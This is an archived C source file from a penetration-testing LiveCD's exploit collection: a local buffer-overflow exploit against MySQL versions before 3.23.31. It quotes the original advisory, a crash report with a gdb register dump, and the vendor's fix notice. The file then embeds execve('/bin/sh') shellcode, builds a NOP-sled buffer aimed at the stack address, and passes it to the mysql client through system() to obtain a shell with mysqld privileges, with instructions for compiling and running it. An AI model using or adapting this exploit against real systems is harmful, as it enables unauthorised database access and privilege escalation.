home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / MySQLXploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  229 lines

  1. /*
  2.  
  3.  Linux MySQL Exploit by Luis Miguel Silva [aka wC]
  4.  lms@ispgaya.pt
  5.  19/01/y2k+1
  6.  
  7.  Compile:
  8.  
  9.    gcc MySQLXploit.c -o MySQLX
  10.  
  11.  Run with:
  12.  
  13.    You can specify the offset for the exploit passing it as the 1st arg...
  14.  
  15.    Example: ./MySQLX 0 ---> this is the default offset :]
  16.  
  17.  Advisorie:
  18.  [from a bugtraq email]
  19.  
  20.  Hi,
  21.  
  22.  all versions of MySQL < 3.23.31 have a buffer-overflow which crashs the
  23.  server and which seems to be exploitable (ie. 4141414 in eip)
  24.  
  25.  Problem :
  26.  An attacker could gain mysqld privileges (gaining access to all the
  27.  databases)
  28.  
  29.  Requirements :
  30.  You need a valid login/password to exploit this
  31.  
  32.  Solution :
  33.  Upgrade to 3.23.31
  34.  
  35.  Proof-of-concept code :
  36.  None
  37.  
  38.  Credits :
  39.  I'm not the discoverer of this bug
  40.  The first public report was made by tharbad@kaotik.org via the MySQL
  41.  mailing-list
  42.  See the following mails for details
  43.  
  44.  Regards,
  45.  Nicob
  46.  
  47.  Here the original post to the MySQL mailing-list :
  48.  ==================================================
  49.  
  50.  On Jan 12, Jo?o Gouveia wrote:
  51.  > Hi,
  52.  >
  53.   I believe i've found a problem in MySql. Here are some test's i've made
  54. in
  55.  > 3.22.27 x86( also tested on v3.22.32 - latest stable, although i didn't
  56.  > debug it, just tested to see if crashes ).Confirmed up to latest 3.23
  57.  
  58.  > On one terminal:
  59.  > <quote>
  60.  > spike:/var/mysql # /sbin/init.d/mysql start
  61.  > Starting service MySQL.
  62.  > Starting mysqld daemon with databases from /var/mysql
  63.  > done
  64.  > spike:/var/mysql #
  65.  ></quote>
  66.  >
  67.  > On the other terminal:
  68.  > <quote>
  69.  > jroberto@spike:~ > msql -p -e 'select a.'`perl
  70. -e'printf("A"x130)'`'.b'
  71.  > Enter password:
  72.  > (hanged..^C)
  73.  > </quote>
  74.  >
  75.  > On the first terminal i got:
  76.  > <quote>
  77.  > sike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation
  78. fault
  79.  > nohup
  80.  > $ledir/myqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR
  81. --skip-lockin
  82.  > g "$@" >>$err_log 2>&1>
  83.  > Number of processes running now: 0
  84.  > mysqld restarted on  Fri Jan 12 07:10:54 WET 2001
  85.  > mysqld daemon ended
  86.  > </quote>
  87.  >
  88.  > gdb shows the following:
  89.  > <quote>
  90.  > (gdb) run
  91.  > Starting program: /usr/sbin/mysqld
  92.  > [New Thread 16897 (manager thread)]
  93.  > [New Thread 16891 (initial thread)]
  94.  > [New Thread 16898]
  95.  > /usr/sbin/mysqld: ready for connections
  96.  > [New Thread 16916]
  97.  > [Switching to Thread 16916]
  98.  >
  99.  > Program received signal SIGSEGV, Segmentation fault.
  100.  > 0x41414141 in ?? ()
  101.  > (gdb) info all-registers
  102.  > eax            0x1      1
  103.  > ecx            0x68     104
  104.  > edx            0x8166947        135686471
  105.  > ebx            0x41414141       1094795585
  106.  > esp            0xbf5ff408       0xbf5ff408
  107.  > ebp            0x41414141       0x41414141
  108.  > esi            0x41414141       1094795585
  109.  > edi            0x0      0
  110.  > eip            0x41414141       0x41414141
  111.  > eflags         0x10246  66118
  112.  > cs             0x23     35
  113.  > ss             0x2b     43
  114.  > ds             0x2b     43
  115.  > es             0x2b     43
  116.  > fs             0x0      0
  117.  > gs             0x0      0
  118.  > (gdb)
  119.  > </quote>
  120.  >
  121.  > looks like a tipical overflow to me.
  122.  > Please reply asap, at least to tell me i'me not seeing things. :-)>
  123.  > Best regards,
  124.  >
  125.  > Joao Gouveia aka Tharbad.
  126.  >
  127.  > tharbad@kaotik.org
  128.  
  129.  Here the reponse to a email I send today to the MySQL list :
  130.  ============================================================
  131.  
  132.  Sergei Golubchik (MySQL team) wrote :
  133.  >
  134.  > Hi!
  135.  >
  136.  > On Jan 18, Nicolas GREGOIRE wrote:
  137.  > > Hi,
  138.  > >
  139.  > > Still not any info about the buffer-overflow discovered last week ?
  140.  > > Shouldn't be fixed at the beginning of the week ?
  141.  > >
  142.  > > Please, dear MySQL team, give us info !!
  143.  > >
  144.  > > Regards,
  145.  > > Nicob
  146.  >
  147.  > Fixed in latest release (3.23.31).
  148.  >
  149.  > Regards,
  150.  > Sergei
  151.  
  152.  Here an part of the 3.23.30 to 3.23.31 diff :
  153.  =============================================
  154.  
  155.  +Changes in release 3.23.31
  156.  +--------------------------
  157.  +
  158.  +   * Fixed security bug in something (please upgrade if you are using a
  159.  +     earlier MySQL 3.23 version).
  160.  
  161.  End of Advisorie
  162.  
  163.  Final Words: Yes..i'm still alive...<g> [just a'sleep..]
  164.  
  165.  A big kiss to niness and hugs to all my friends...
  166.  lucipher && all of the unsecurity.org crew...
  167.  JFA and all of the AngelSP [pseudo :P]'crew...
  168.  Ahmm...i just wave everybody :]
  169.  
  170. */
  171.  
  172. #include <stdio.h>
  173.  
  174. #define DEFAULT_OFFSET 0
  175. #define DEFAULT_BUFFER_SIZE 130
  176. #define NOP 0x90
  177.  
  178. // Our EVIL code...
  179. char shellcode[] =
  180.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  181.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  182.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  183.  
  184. unsigned
  185. long get_sp(void) {
  186.    __asm__("movl %esp,%eax");
  187. }
  188.  
  189. // Where it all happens...
  190. main(int argc, char *argv[])
  191. {
  192.  char *buffer, *ptr, tmp[1500];
  193.  long *addr_ptr, addr;
  194.  int i,bsize=DEFAULT_BUFFER_SIZE,offset=DEFAULT_OFFSET;
  195.  
  196.  printf("\nMySQL [al versions < 3.23.31] Local Exploit by
  197. lms@ispgaya.pt\n\n");
  198.  if (argc==2) offset=atoi(argv[1]);
  199.  else
  200.    printf("Happy toughts: Did you know you can pass a offset as argv[1]? :]\n");
  201.  
  202.  printf("Trying to allocate memory for buffer (%d bytes)...",bsize);
  203.  if (!(buffer = malloc(bsize))) {
  204.    printf("ERROR!\n");
  205.    printf("Couldn't allocate memory...\n");
  206.    printf("Exiting...\n");
  207.    exit(0);
  208.  }
  209.  printf("SUCCESS!\n");
  210.  addr=get_sp()-offset;
  211.  printf("Using address : 0x%x\n", addr);
  212.  printf("Offset        : %d\n",offset);
  213.  printf("Buffer Size   : %d\n",bsize);
  214.  ptr=buffer;
  215.  addr_ptr=(long *) ptr;
  216.  for (i=0;i<bsize;i+=4) *(addr_ptr++)=addr;
  217.  for (i=0;i<bsize/2;i++) buffer[i]=NOP;
  218.  ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
  219.  for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];
  220.  buffer[bsize-1]='\0';
  221.  snprintf(tmp,sizeof(tmp),"mysql -p -e 'select a.'%s'.b'",buffer);
  222.  printf("Oh k...i have the evil'buffer right here :P\n");
  223.  printf("So...[if all went well], prepare to be r00t...\n");
  224.  system(tmp);
  225. }
  226.  
  227.  
  228.  
  229.